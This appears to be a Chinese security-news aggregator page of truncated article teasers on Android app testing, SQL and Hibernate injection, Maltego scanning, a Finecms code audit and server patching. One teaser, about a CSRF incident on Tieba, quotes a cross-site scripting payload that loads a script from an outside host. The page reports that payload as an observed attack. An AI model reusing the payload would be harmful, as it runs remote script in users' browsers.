Drozer原名mercury，是一款不错的Android APP安全评估工具。现在有社区版/专业版两个版本。 具体的使用说明可以参考https://www.mwrinfosecurity.com/s...
神兵利刃
神兵利刃
解决plsql遇到乱码的问题
查看一些数据库服务器和客户端的额字符集有没有不同的：复制代码 代码如下:select * from nls_database_parameters;select * from nls_instance...
WooYun-Drops
Hibernate对注入的简单测试 – clzzy
http://drops.wooyun.org/tips/748 0x00 背景 前段时间遇到一个使用了Hibernate框架的站，以前没怎么接触过（由于是Java盲，所以大家勿喷），再注入的事情发生...
神兵利刃
[抛砖引玉]maltego调用nmap进行端口扫描
关于maltego的中文资料比较少，基本上涉及到的关键词都是“DNS，Email，Whois”。其实maltego的可扩展性还是比较强的，这里我就抛砖引玉的介绍下maltego的local trans...
WooYun-Zone
在贴吧被csrf了
点进来有..”,a:$.getScript(‘//xss.retaker.me/1.js’),a:” 题目都是这样的 本来以为是某个人测试的呢 ...
神兵利刃
智能家居协议数据包拦截工具-Z-Force
Z-Wave是一种新兴的基于射频的、低成本、低功耗、高可靠、适于网络的短距离无线通信技术，Z-Wave技术设计用于住宅、照明商业控制以及状态读取应用，例如抄表、照明及家电控制、HVAC、接入控制、防盗...
Seay信息安全博客
代码审计：Finecms 1.7.2注射漏洞及修复 |
显示不全请点击全屏阅读 漏洞文件:Client.Class.php29行处 public static function get_user_ip() { if(getenv(‘HT...
[转]推荐！国外程序员整理的Java资源大全
构建 这里搜集了用来构建应用程序的工具。 Apache Maven：Maven使用声明进行构建并进行依赖管理，偏向于使用约定而不是配置进行构建。Maven优于Apache Ant。后者采用了一种过程化...
业界关注
创业公司PFP通过能量功耗检测工业网络威胁
忘掉签名、试探式测试以及沙盘分析吧。美国华盛顿特区的一家创业公司PFP网络安全公司正通过一种独特方法检测IT供应链以及关键基础设施如工控系统中的恶意软件以及威胁。PFP称它所采用的异常检测技术通过功率...
小站修复记
前言前段时间，一直收到腾讯云安全事件邮件，主要涉及到 SSH、openssl、sudo 几个高危漏洞；openSSH 相对来讲是比较好处理的，但是 OpenSSL却比较棘手，因为涉及的依赖比较多……依...
